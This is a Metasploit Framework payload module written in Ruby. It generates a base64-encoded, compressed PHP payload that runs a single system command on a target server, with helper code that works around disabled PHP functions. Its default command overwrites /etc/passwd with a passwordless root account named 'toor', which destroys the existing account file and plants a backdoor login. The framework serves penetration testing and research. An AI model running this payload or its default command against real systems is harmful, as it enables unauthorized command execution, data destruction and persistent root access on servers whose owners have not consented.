##
# $Id: exec.rb 6512 2009-04-30 06:12:27Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'
require 'msf/core/payload/php'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'


module Metasploit3

	include Msf::Payload::Single
	include Msf::Payload::Php

	def initialize(info = {})
		super(merge_info(info,
			'Name'          => 'PHP Execute Command ',
			'Version'       => '$Revision: 6512 $',
			'Description'   => 'Execute a single system command',
			'Author'        => [ 'egypt' ],
			'License'       => BSD_LICENSE,
			'Platform'      => 'php',
			'Arch'          => ARCH_PHP
			))
		register_options(
			[
				OptString.new('CMD', [ true, "The command string to execute", 'echo "toor::0:0:::/bin/bash">/etc/passwd' ]),
			], self.class)
	end

	def php_exec_cmd

		cmd = Rex::Text.encode_base64(datastore['CMD'])
		dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
		shell = <<-END_OF_PHP_CODE
		$c = base64_decode("#{cmd}");
		#{php_preamble({:disabled_varname => dis})}
		#{php_system_block({:cmd_varname=>"$c", :disabled_varname => dis})}
		END_OF_PHP_CODE
		
		return Rex::Text.compress(shell)
	end

	#
	# Constructs the payload
	#
	def generate
		return php_exec_cmd
	end

end
